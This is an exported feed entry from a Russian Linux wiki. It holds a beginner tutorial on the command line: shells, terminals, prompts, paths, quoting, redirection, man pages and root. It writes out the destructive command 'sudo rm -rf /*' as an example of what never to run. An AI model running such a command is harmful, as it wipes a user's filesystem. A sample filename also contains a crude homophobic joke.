Экзоядро находится «вне» пользовательских программ, оно вообще не общается с ними напрямую. Здесь нужно более подробное объяснение. Каждый процесс получает свою часть ресурсов компьютера и «думает», что у него в распоряжение отдельная машина. Т. е. один процесс получает блоки диска от одного до тысячи, другой — от тысячи до тысячи семиста и т. д. Оба этих процесса будут считать, что обладают реальной машиной. На самом нижнем уровне такой ОС находится программа — экзоядро, отвечающее за распределение ресурсов машины. API для прикладных программ (например, утилит для удаления файлов) предоставляется абстрагированной от ядра библиотекой. Откуда и название ядра.&lt;br /&gt;
&lt;br /&gt;
[[Category:Kernel]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0_%D0%B8_%D0%BA%D0%B0%D0%BA_%D0%B2_%D0%BD%D0%B5%D0%B9_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C&amp;diff=409</id>
		<title>Что такое командная строка и как в ней работать</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0_%D0%B8_%D0%BA%D0%B0%D0%BA_%D0%B2_%D0%BD%D0%B5%D0%B9_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C&amp;diff=409"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Многие начинающие пользователи GNU/Linux, переходящие с других операционных систем&lt;br /&gt;
могут не знать, что такое «консоль», «терминал», «shell» и так далее. Однако, к сожалению, с очень большой вероятностью при работе в Linux вам придется воспользоваться консолью. Хотя производители дистрибутивов Linux стремятся избавить пользователей от необходимости использования консоли вообще, пока что никому не удавалось полностью решить эту задачу. Кроме того, если вы будете обращаться за помощью к другим пользователям, они могут не знать, какой у вас дистрибутив и как пользоваться его средствами для диагностики вашей проблемы, и предложат вам выполнить какие-либо команды (общие для всех дистрибутивов) и представить результат&lt;br /&gt;
их выполнения.&lt;br /&gt;
&lt;br /&gt;
Конечно, быть «гуру» написания скриптов совершенно необязательно. Даже знать&lt;br /&gt;
наизусть основные команды необязательно. Но в ответ на «Приведите вывод &amp;lt;tt&amp;gt;cat /proc/scsi/scsi&amp;lt;/tt&amp;gt;» отвечать «А что это такое, где это вводить?» не следует: многие пользователи&lt;br /&gt;
не захотят после этого тратить на вас время.&lt;br /&gt;
&lt;br /&gt;
'''Цели этой статьи:'''&lt;br /&gt;
# Объяснить, что такое «консоль», как ее запустить и как вводить туда команды.&lt;br /&gt;
# Объяснить, как устроены команды и как получить информацию по отдельным командам.&lt;br /&gt;
# Объяснить, почему команду &amp;lt;tt&amp;gt;sudo rm -rf /*&amp;lt;/tt&amp;gt; вводить не следует.&lt;br /&gt;
&lt;br /&gt;
== Что такое «консоль» ==&lt;br /&gt;
Не будем углубляться в историю и скажем просто: в данной статье под консолью (она же&lt;br /&gt;
''«терминал»'', ''«shell»'') понимается программное обеспечение,&lt;br /&gt;
реализующее общение с компьютером при помощи текстовых команд (&amp;lt;tt&amp;gt;Command-line interface&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;CLI&amp;lt;/tt&amp;gt;).&lt;br /&gt;
Аналог в Windows: &amp;lt;tt&amp;gt;cmd&amp;lt;/tt&amp;gt;. Понятие «виртуальная консоль» вводится отдельно.&lt;br /&gt;
&lt;br /&gt;
В Linux имеется несколько реализаций командной строки. Самая ранняя из популярных реализаций, появившаяся еще в операционных системах-предках Linux, называлась &amp;lt;tt&amp;gt;Bourne shell (sh)&amp;lt;/tt&amp;gt;. На сегодняшний день самой популярной и поставляемой в составе большинства дистрибутивов является &amp;lt;tt&amp;gt;Bourne-Again shell (bash)&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Существуют и другие реализации, такие как &amp;lt;tt&amp;gt;Korn shell (ksh)&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;Z shell (zsh)&amp;lt;/tt&amp;gt;,&lt;br /&gt;
&amp;lt;tt&amp;gt;Almquist shell (ash)&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;Debian Almquist shell (dash)&amp;lt;/tt&amp;gt; и другие.&lt;br /&gt;
&lt;br /&gt;
Обычно на одной машине установлено несколько реализаций командной строки, но только&lt;br /&gt;
одна используется по умолчанию. Чтобы узнать, какая работает у вас, введите команду:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo $SHELL&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Если вы еще не знаете, куда ее ввести, читайте дальше.&lt;br /&gt;
&lt;br /&gt;
Большинство реализаций совместимы с &amp;lt;tt&amp;gt;sh&amp;lt;/tt&amp;gt;, но не обязательно совместимы между собой.&lt;br /&gt;
Например, скрипты и команды для &amp;lt;tt&amp;gt;bash&amp;lt;/tt&amp;gt; не всегда работают на &amp;lt;tt&amp;gt;dash&amp;lt;/tt&amp;gt;. Есть и такие&lt;br /&gt;
интерпретаторы команд, которые не совместимы с &amp;lt;tt&amp;gt;sh&amp;lt;/tt&amp;gt; (например, &amp;lt;tt&amp;gt;C Shell (csh)&amp;lt;/tt&amp;gt;). Такие&lt;br /&gt;
интерпретаторы не рекомендуется (скорее всего, вообще невозможно) использовать как интерпретаторы&lt;br /&gt;
по умолчанию.&lt;br /&gt;
&lt;br /&gt;
== Как запустить консоль ==&lt;br /&gt;
Существует два способа получить доступ к консоли: «виртуальные консоли» и&lt;br /&gt;
«эмуляторы терминала».&lt;br /&gt;
&lt;br /&gt;
=== Виртуальные консоли ===&lt;br /&gt;
Виртуальные консоли доступны практически&amp;lt;sup&amp;gt;что?&amp;lt;/sup&amp;gt; в любом дистрибутиве Linux для настольных&lt;br /&gt;
компьютеров и серверов.&lt;br /&gt;
&lt;br /&gt;
Каждая виртуальная консоль позволяет вести отдельный сеанс работы с компьютером. Если&lt;br /&gt;
у вас есть, скажем, семь виртуальных консолей, то семь пользователей могут совершить&lt;br /&gt;
вход в систему и работать с ней (правда, по очереди, поскольку монитор и клавиатура у&lt;br /&gt;
вас одна). Один пользователь может работать в нескольких консолях одновременно.&lt;br /&gt;
&lt;br /&gt;
Чтобы открыть виртуальную консоль, используйте сочетание клавиш «Ctrl+Alt+FN»,&lt;br /&gt;
где «N» — номер консоли. Например, «Ctrl+Alt+F1» — первая консоль,&lt;br /&gt;
'''Ctrl+Alt+F2''' — вторая, и так далее. Если вы уже находитесь в виртуальной консоли, то на другую можно&lt;br /&gt;
переключиться этой же комбинацией но без Ctrl: «Alt+F1», «Alt+F2», и т. д.&lt;br /&gt;
&lt;br /&gt;
Обычно настраивают шесть виртуальных консолей, а [[X-сервер]], графическая система&lt;br /&gt;
GNU/Linux, работает в седьмой.&lt;br /&gt;
&lt;br /&gt;
Здесь приведены настройки по умолчанию, они могут быть изменены.&lt;br /&gt;
&lt;br /&gt;
Когда вы переключаетесь между виртуальными консолями, сеансы не сбрасываются: вы в любой&lt;br /&gt;
момент можете вернуться к любой консоли, где вы выполнили вход, и продолжить работу.&lt;br /&gt;
&lt;br /&gt;
Консоли называются виртуальными, поскольку изначально консолью назывался терминал, с помощью&lt;br /&gt;
которого подключались к мощному компьютеру-серверу и работали. Таким образом, на одном сервере&lt;br /&gt;
работало сразу несколько пользователей. Виртуальные консоли симулируют работу таких терминалов.&lt;br /&gt;
&lt;br /&gt;
=== Эмулятор терминала ===&lt;br /&gt;
Эмулятор терминала — это почти то же, что виртуальная консоль, только в графическом&lt;br /&gt;
режиме. Кроме того, обычно для работы в нем не требуется выполнять вход. Консоль&lt;br /&gt;
отображается в отдельном окне.&lt;br /&gt;
&lt;br /&gt;
В большинстве случаев при работе в графическом режиме не требуется обращаться к&lt;br /&gt;
виртуальным консолям, консольные команды выполнятся с помощью эмулятора терминала.&lt;br /&gt;
&lt;br /&gt;
Существует много реализаций эмуляторов терминала. Наиболее часто используемыми являются: &amp;lt;tt&amp;gt;gnome-terminal&amp;lt;/tt&amp;gt; (в среде [[GNOME]]), &amp;lt;tt&amp;gt;Konsole&amp;lt;/tt&amp;gt; (в среде KDE), &amp;lt;tt&amp;gt;xterm&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;rxvt&amp;lt;/tt&amp;gt;. Для работы можно пользоваться любым из установленных.&lt;br /&gt;
&lt;br /&gt;
Если вы считаете, что эмулятор терминала у вас не установлен, то вам либо следует поискать еще раз, либо ваш дистрибутив очень странный. Во втором случае можете воспользоваться пакетным менеджером и установить его (для этого может потребоваться знание вашего пароля/пароля супер-пользователя «root»).&lt;br /&gt;
&lt;br /&gt;
'''Внимание!''' Эмулятор терминала (например, Konsole) и интерпретатор команд (например, bash) — разные программы.&lt;br /&gt;
&lt;br /&gt;
Интерпретатор команд (он же &amp;lt;tt&amp;gt;shell&amp;lt;/tt&amp;gt;) — это та программа, с которой вы работаете в консоли, она исполняет ваши команды и запускает другие программы.&lt;br /&gt;
&lt;br /&gt;
Эмулятор терминала выводит окно для работы в консоли, подготавливает сеанс работы и запускает интерпретатор команд.&lt;br /&gt;
&lt;br /&gt;
== Как работать в консоли ==&lt;br /&gt;
&lt;br /&gt;
=== Подсказка (prompt) ===&lt;br /&gt;
Подсказка появляется, когда интерпретатор команд ждёт команду. Подсказка может быть настроена&lt;br /&gt;
как угодно, но обычно так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@computer:/current/directory$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Где:&lt;br /&gt;
* user — имя пользователя;&lt;br /&gt;
* computer — имя компьютера;&lt;br /&gt;
* /current/directory — текущий каталог. Обычно если текущий каталог — домашний каталог пользователя, то он сокращенно обозначается тильдой (~);&lt;br /&gt;
* «$» — этот знак обозначает (если так установлено в PS1, это можно изменить), является ли текущий пользователь суперпользователем ([[root]]) или не является. Если является, то это решетка — «#», и если не является, то доллар — «$». Когда вы работаете от имени суперпользователя, будьте очень осторожны! Примеры подсказки:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
vasyapupkin@debian:/tmp$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian:/root# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме того, интерпретатор может выводить особую подсказку, если он ждет продолжения предыдущей команды,&lt;br /&gt;
а не новую команду. Обычно это просто символ «&amp;gt;».&lt;br /&gt;
&lt;br /&gt;
Внешний вид подсказки можно настроить под себя.&lt;br /&gt;
&lt;br /&gt;
=== Как устроена команда ===&lt;br /&gt;
Команда устроена так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;команда&amp;gt; [параметры]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Где:&lt;br /&gt;
* «Команда» — одно из следующих:&lt;br /&gt;
*# Встроенная команда интерпретатора (например, &amp;lt;tt&amp;gt;export&amp;lt;/tt&amp;gt; или &amp;lt;tt&amp;gt;alias&amp;lt;/tt&amp;gt;). Такую команду интерпретатор выполняет сам.&lt;br /&gt;
*# Имя исполнимого файла, находящегося в известных директориях. Список известных директорий содержится в переменной среды PATH, разделенный двоеточием (а не точкой с запятой, как в Windows). Интерпретатор найдет и запустит этот исполнимый файл, передав ему параметры для обработки. Например, &amp;lt;tt&amp;gt;awk&amp;lt;/tt&amp;gt;.&lt;br /&gt;
*# Путь к исполнимому файлу (прямой или относительно текущего каталога). Интерпретатор запустит этой файл, передав ему параметры для обработки. Например, &amp;lt;tt&amp;gt;/usr/bin/gcc&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* «Параметры» зависят от команды.&lt;br /&gt;
	&lt;br /&gt;
Продвинутые интерпретаторы, такие как bash, ради высокой скорости исполнения&lt;br /&gt;
поддерживают многие встроенные команды, которые обычно реализуются при помощи внешних программ (например, &amp;lt;tt&amp;gt;pwd&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;echo&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;test&amp;lt;/tt&amp;gt;). Но это иногда может привести к неожиданным результатам, если пользователь пытается вызвать известную ему программу, а вместо этого интерпретатор сам обрабатывает команду.&lt;br /&gt;
&lt;br /&gt;
'''Обращаем внимание пользователей DOS и Windows'''. Возможно, вы знаете, что интерпретаторы команд &amp;lt;tt&amp;gt;command.com&amp;lt;/tt&amp;gt; и &amp;lt;tt&amp;gt;cmd.exe&amp;lt;/tt&amp;gt; при вводе имени исполняемого файла ищут его не только в каталогах из переменной PATH, но также в текущей директории. Кроме того, они автоматически присоединяют расширение к имени исполняемого файла, если оно не указано. Интерпретаторы команд в Linux не делают ни того, ни другого. Если вам нужно запустить файл в текущей директории, можно это сделать, например, так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./program&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Это будет уже относительный путь к файлу, то есть пункт 3.&lt;br /&gt;
&lt;br /&gt;
=== Примеры простых команд ===&lt;br /&gt;
Команда &amp;lt;tt&amp;gt;echo&amp;lt;/tt&amp;gt; выводит указанную строку на экран&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo This is a test line&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команда &amp;lt;tt&amp;gt;cp&amp;lt;/tt&amp;gt; (от «copy» — «копировать» с англ.) копирует файл или несколько файлов в указанный каталог. Например,&lt;br /&gt;
файлы /boot/grub/menu.lst /etc/inittab и /etc/mtab в каталог /tmp:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cp /boot/grub/menu.lst /etc/inittab /etc/mtab /tmp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
…а также может поменять имя файла (/boot/grub/menu.lst → /boot/grub/menu.lst.bak):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cp /boot/grub/menu.lst /boot/grub/menu.lst.bak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команда &amp;lt;tt&amp;gt;cat&amp;lt;/tt&amp;gt; (от «catenate», «соединять») используется для вывода содержимого файла или нескольких файлов:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat ~/Документы/Отчет&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Или:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat ~/Документы/Первая_половина_отчета ~/Документы/Вторая_половина_отчета&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Тильда обозначает домашний каталог пользователя.&lt;br /&gt;
&lt;br /&gt;
=== Текущий каталог и относительные пути ===&lt;br /&gt;
Скорее всего, вам уже понятно, как указать путь к файлу от корня (например /boot/grub/menu.lst — в корневой директории каталог&amp;lt;ref&amp;gt;Некоторые посетители linux.org.ru приходят в бешенство от слова «папка» в значении «каталог»/«директория», но вы на них не обращайте внимания&amp;lt;/ref&amp;gt; boot, в ней — grub, в ней файл menu.lst). Такой путь называется абсолютным. В нем указана вся цепочка каталогов, которую надо пройти, чтобы дойти до нужного файла или каталога.&lt;br /&gt;
&lt;br /&gt;
Некоторые пути в этой статье начинаются с «~». Это тоже абсолютные пути, просто «~» заменятся на абсолютный путь домашнего каталога пользователя. Например: &amp;lt;tt&amp;gt;~/Документы/Письмо&amp;lt;/tt&amp;gt; → &amp;lt;tt&amp;gt;/home/vasya/Документы/Письмо&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Но пользоваться только абсолютными путями было бы неудобно. Поэтому существуют также относительные пути. Они указывают, как дойти до каталога или файла X из каталога Y. Например:&lt;br /&gt;
&lt;br /&gt;
* Подняться на одну директорию вверх (то есть в ту, где находится текущий каталог, например, «/home» для «/home/vasyapupkin»), оттуда пойти в директорию «Музыка», там будет файл «justin_bieber_gay.ogg»:&lt;br /&gt;
 ../Музыка/justin_bieber_gay.ogg&lt;br /&gt;
* Найти директорию subdir в текущем каталоге, там файл text.txt:&lt;br /&gt;
 subdir/text.txt&lt;br /&gt;
&lt;br /&gt;
Пути указываются относительно текущего каталога. При работе в консоли текущий каталог обычно отображается в подсказке, но его всегда можно узнать простой командой:&lt;br /&gt;
 pwd&lt;br /&gt;
Можно легко сменить текущий каталог (обычно говорят: «перейти в другой каталог») командой:&lt;br /&gt;
 cd «Другой каталог»&lt;br /&gt;
Перейти в свой домашний каталог можно командой cd без параметров:&lt;br /&gt;
 cd&lt;br /&gt;
&lt;br /&gt;
'''Внимание, пользователи DOS/Windows!''' Если вы привыкли пользоваться командной строкой в этих системах, то обратите внимание: команда cd без параметров значит «перейти в домашний каталог», а не что-либо другое.&lt;br /&gt;
&lt;br /&gt;
Вот так можно скопировать файл file1 в текущем каталоге в file2:&lt;br /&gt;
 cp file1 file2&lt;br /&gt;
А так можно переместить file1 на каталог вверх, то есть в родительский каталог текущего каталога:&lt;br /&gt;
 mv file1 ..&lt;br /&gt;
Еще можно перейти в родительский каталог и переместить файл после этого. Допустим, мы находимся в каталоге mydir:&lt;br /&gt;
 cd ..&lt;br /&gt;
 mv mydir/file1 .&lt;br /&gt;
&lt;br /&gt;
Отметим два специальных символа, использующихся в путях:&lt;br /&gt;
* «.» (точка) — текущий каталог&lt;br /&gt;
* «..» (две точки) — родительский каталог&lt;br /&gt;
&lt;br /&gt;
==== А где мой диск «C:»? ====&lt;br /&gt;
В ОС Windows имеется несколько корневых каталогов, по одному на каждый диск: «C:», «D:», «E:» и так далее.&lt;br /&gt;
&lt;br /&gt;
В Linux используется только один корневой каталог (/). В нём «находится» содержимое одного из разделов жёсткого диска. Все прочие файловые системы, в том числе другие разделы на жёстких дисках, CD/DVD-диски, флешки и прочие сменные накопители монтируются (то есть подключаются) в подкаталоги. В этих подкаталогах и будет отображаться их содержимое.&lt;br /&gt;
&lt;br /&gt;
О монтировании вручную см. команду {{com|mount}}.&lt;br /&gt;
&lt;br /&gt;
В современных десктопных дистрибутивах сменные диски монтируются автоматически, обычно в каталоги &amp;lt;tt&amp;gt;/media/имя_пользователя/название_диска&amp;lt;/tt&amp;gt; или &amp;lt;tt&amp;gt;/var/media/имя_пользователя/название_диска&amp;lt;/tt&amp;gt;. Например, если вставить флешку с названием TOSHIBA TransMemory&amp;lt;ref&amp;gt;На самом деле, играет роль не название, а метка раздела, но если вы сами не умеете форматировать диски, то не будете знать разницы.&amp;lt;/ref&amp;gt; в компьютер с Ubuntu и ваше имя пользователя — vasya, файлы на ней будут в каталоге &amp;lt;tt&amp;gt;/media/vasya/TOSHIBA TransMemory&amp;lt;/tt&amp;gt;. Это вовсе не значит, что они автоматически скопируются на жёсткий диск, они будут на флешке, но доступны по этому пути.&lt;br /&gt;
&lt;br /&gt;
Обратите внимание, что автомонтирование дисков может быть настроено так, что диски будут определяться автоматически, но не монтироваться. В этом случае откройте менеджер файлов, кликните по нужному диску, и он примонтируется. Скорее всего, директория, куда он примонтировался, автоматически откроется.&lt;br /&gt;
&lt;br /&gt;
Более того, в Linux существует ряд виртуальных файловых систем, которые вообще не связаны с файлами на дисках. Это позволяет программам получать доступ к устройствам или к каким-либо другим данным так же, как к файлам. Например, в директории /dev находятся дескрипторы для доступа к устройствам, а в директории /proc — для получения информации от ядра ОС и управления им.&lt;br /&gt;
&lt;br /&gt;
=== Автодополнение ===&lt;br /&gt;
Кроме того, в консоли существует такая вещь, как автодополнение. Она полезна в тех случаях, когда необходимо набрать длинную команду или написать имя файла, содержащее много символов, которые необходимо экранировать. Работает она очень просто. При наборе части команды необходимо нажать [TAB] один или два раза и консоль либо дополнит команду/имя файла, либо выдаст список для уточнения.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
vasya@motherpc: ~$ cd /home/alex/Ра&lt;br /&gt;
[TAB]&lt;br /&gt;
vasya@motherpc: ~$ cd /home/alex/Рабочий\ стол/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Однократное нажатие [TAB] дополнит имя программы/файла в том случае, если его уже можно определить однозначно. Двойное нажатие выведет список возможных «продолжений» команды:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
vasya@motherpc: ~$ ls /usr/share/ic&lt;br /&gt;
[TAB][TAB]&lt;br /&gt;
iceweasel/ icons/ &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Специальные символы и их экранирование ===&lt;br /&gt;
Ряд символов в командах являются специальными символами. Это значит, что они не передаются запускаемой программе или обработчику внутренней команды shell’а, а обрабатываются ДО ТОГО, как команда будет выполнена. То есть специальные символы управляют самим shell’ом.&lt;br /&gt;
&lt;br /&gt;
Если вы хотите, чтобы shell не обрабатывал по-особому специальный символ, а обрабатывал его как обычный символ, то его нужно экранировать. Есть три способа это сделать:&lt;br /&gt;
* Поставить обратный слэш (\) перед специальным символом (по-английски этот метод называется &amp;lt;tt&amp;gt;escape&amp;lt;/tt&amp;gt;). Сам обратный слэш, соответственно, тоже является специальным символом, и его можно так же экранировать (то есть поставить два слэша: \\). Например:&lt;br /&gt;
 grep lucky\*star my\ file   # Ищем строку «lucky*star» в файле «my file»&lt;br /&gt;
: Обратный слэш перед обычным, не специальным символом будет просто проигнорирован.&lt;br /&gt;
* Заключить команду или часть команды со специальными символами в двойные кавычки (&amp;quot;). По-английски этот метод называется &amp;lt;tt&amp;gt;quote&amp;lt;/tt&amp;gt;. Двойные кавычки экранируют большинство специальных символов, но не все. Остальные спец. символы внутри двойных кавычек можно экранировать обратным слэшем. Пример:&lt;br /&gt;
 grep &amp;quot;lucky*star&amp;quot; &amp;quot;my file&amp;quot;   # Аналогично предыдущей команде&lt;br /&gt;
: Обратный слэш внутри двойных кавычек перед обычным символом или символом, который и без него экранируется в двойных кавычках, будет обработан как экранированный слэш. Но его можно и эксплицитно экранировать. Это значит, что команды &amp;lt;tt&amp;gt;echo &amp;quot;hello, \slash&amp;quot;&amp;lt;/tt&amp;gt; и &amp;lt;tt&amp;gt;echo &amp;quot;hello, \\slash&amp;quot;&amp;lt;/tt&amp;gt; выведут на экран одно и то же: &amp;lt;tt&amp;gt;hello, \slash&amp;lt;/tt&amp;gt;.&lt;br /&gt;
* Заключить команду или часть команды в одинарные кавычки (по-английски этот метод тоже называется &amp;lt;tt&amp;gt;quote&amp;lt;/tt&amp;gt;). Они экранируют все специальные символы. Пример:&lt;br /&gt;
 # Найти строку «$1000» в файле «my income»&lt;br /&gt;
 grep '$1000' &amp;quot;my income&amp;quot;   # Символ «$» не экранируется двойными кавычками, а одинарными — экранируется.&lt;br /&gt;
: Обратный слэш внутри двойных кавычек всегда считается экранированным. Команда &amp;lt;tt&amp;gt;echo 'hello, \\slash'&amp;lt;/tt&amp;gt; выведет на экран &amp;lt;tt&amp;gt;hello, \\slash&amp;lt;/tt&amp;gt;. Это также означает, что нет никакой возможности экранировать одинарную кавычку внутри одинарных кавычек.&lt;br /&gt;
&lt;br /&gt;
==== Список специальных символов ====&lt;br /&gt;
{{Доработка&lt;br /&gt;
|reason=«По замыслу одного из участников… э-э… хорошо бы было здесь написать таблицу специальных символов с указанием символа, экранируется ли в двойных кавычках, в каких средах считается специальным, краткое описание, что делает»}}&lt;br /&gt;
&lt;br /&gt;
=== Вывод в файл и ввод из файла ===&lt;br /&gt;
&lt;br /&gt;
==== Вывод результата работы в файл ====&lt;br /&gt;
Скорее всего, вам когда-нибудь придется записать весь вывод команды в файл. Сделать это просто:&lt;br /&gt;
 «команда» &amp;gt; «имя файла»&lt;br /&gt;
Например:&lt;br /&gt;
 # Найти все строки, содержащие подстроку «loruser» в файле /etc/passwd&lt;br /&gt;
 # и записать их в файл «myfile» в директории «Документы» в домашней директории.&lt;br /&gt;
 grep loruser /etc/passwd &amp;gt; ~/Документы/myfile&lt;br /&gt;
При этом учтите, что каждая программа имеет два потока вывода: стандартный поток вывода и поток ошибок. Программа сама определяет, какие сообщения в какой поток выводить. Если вы перенаправите только поток вывода, то ошибки не будут записаны в файл, а будут показаны на экране (и наоборот). Для перенаправления потока ошибок используйте такой синтаксис:&lt;br /&gt;
 «команда» 2&amp;gt; «имя файла»&lt;br /&gt;
Можно направить в файлы оба потока:&lt;br /&gt;
 «команда» &amp;gt; «файл для вывода» 2&amp;gt; «файл для ошибок»&lt;br /&gt;
Пример:&lt;br /&gt;
 grep loruser /etc/passwd &amp;gt; ~/Документы/myfile 2&amp;gt; ~/Документы/myerrors&lt;br /&gt;
&lt;br /&gt;
При перенаправлении вывода или ошибок в файл файл будет полностью перезаписан (или создан, если его нет). Даже если ничего не будет выведено, файл будет перезаписан и заменен пустым.&lt;br /&gt;
&lt;br /&gt;
Чтобы дописать вывод в конец файла, сохранив предыдущее содержимое, используйте двойной знак «больше» вместо одинарного. То есть:&lt;br /&gt;
 «команда» &amp;gt;&amp;gt; «файл»   # Для вывода&lt;br /&gt;
 «команда» 2&amp;gt;&amp;gt; «файл»  # Для ошибок&lt;br /&gt;
&lt;br /&gt;
==== Ввод из файла ====&lt;br /&gt;
Возможно, у вас возникнет и другой вопрос: как заставить программу считать данные из файла, как если бы их вводили с клавиатуры?&lt;br /&gt;
&lt;br /&gt;
Ответ на этот вопрос такой: практически все популярные программы, для которых это имеет смысл, сами умеют читать данные из файла. Узнайте, как использовать эту функцию в нужной вам программе и пользуйтесь ею.&lt;br /&gt;
&lt;br /&gt;
Но если вы уверены, что такой функции нет, вы все же можете направить данные из файла в поток ввода программы:&lt;br /&gt;
 «команда» &amp;lt; «файл»&lt;br /&gt;
Да, можно комбинировать перенаправление ввода и вывода:&lt;br /&gt;
 «команда» &amp;lt; «файл_для_ввода» &amp;gt; «файл_для_вывода»&lt;br /&gt;
&lt;br /&gt;
Еще раз повторим, что если программа сама умеет читать данные из файла, то лучше пусть читает сама. Это, скорее всего, более надежно и эффективно.&lt;br /&gt;
&lt;br /&gt;
==== Пользуйтесь функциями эмулятора терминала ====&lt;br /&gt;
Если вы пользуетесь эмулятором терминала, то он, вполне возможно, сам умеет копировать текст текущего сеанса в буфер, сохранять в файл или имеет другие подобные функции, которые могут облегчить вам работу. Чтобы узнать о них, посмотрите в меню в нем или прочитайте руководство пользователя.&lt;br /&gt;
&lt;br /&gt;
==== Дальнейшее чтение ====&lt;br /&gt;
То, что написано в этом разделе статьи — это частные случаи перенаправления потоков ввода и вывода. Вообще эта тема довольно глубокая и если вы хотите эффективно работать в командной строке или писать скрипты, вам нужно освоить ее лучше.&lt;br /&gt;
&lt;br /&gt;
Собственно, именно эта функция и делает shell тем гибким инструментом, которым он является. Вы можете сооружать цепочки команд (англ. [http://en.wikipedia.org/wiki/Pipeline_(software) pipeline]), в которых каждая программа будет обрабатывать данные и результат подавать на вход следующей программе. Используя программы, каждая из которых предназначена для конкретной простой операции, вы сможете писать скрипты для решения любой стоящей перед вами задачи.&lt;br /&gt;
&lt;br /&gt;
== Получение справки по командам ==&lt;br /&gt;
Практически в любой UNIX-подобной ОС (за исключением встраиваемых) есть руководства по командам (manual) и команда man, служащая для просмотра этих руководств. Если набрать, например, команду:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
man man&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
то на экране откроется справка по команде man (описание, какие параметры она принимает и т. п.).&lt;br /&gt;
&lt;br /&gt;
Так же существуют мануалы в формате «Info». Этот формат поддерживает разбивку на главы и своего рода (гипер)ссылки.&lt;br /&gt;
&lt;br /&gt;
Пример использования:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info info&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Если вам в ответ на ваш вопрос пишут: «RTFM», «кури маны», то весьма вероятно ответ на вопрос может быть легко найден с помощью приведённых выше команд.&lt;br /&gt;
&lt;br /&gt;
== Разделение прав и о работе под рутом ==&lt;br /&gt;
'''Основная статья о root: [[root|Суперпользователь (root)]]'''&lt;br /&gt;
&lt;br /&gt;
'''Основная статья о правах: [[Права доступа к файлам]]'''&lt;br /&gt;
&lt;br /&gt;
Суперпользователь (root) — это пользователь, для которого не проверяются права на доступ к файлам. Для входа под именем суперпользователя воспользуйтесь командой &amp;lt;tt&amp;gt;su&amp;lt;/tt&amp;gt; без параметров. Для исполнения одной команды от имени суперпользователя воспользуйтесь &amp;lt;tt&amp;gt;sudo &amp;lt;команда&amp;gt;&amp;lt;/tt&amp;gt;. Скорее всего, система попросит вас ввести пароль — либо пароль суперпользователя, либо пароль от вашего аккаунта, в зависимости от настроек.&lt;br /&gt;
&lt;br /&gt;
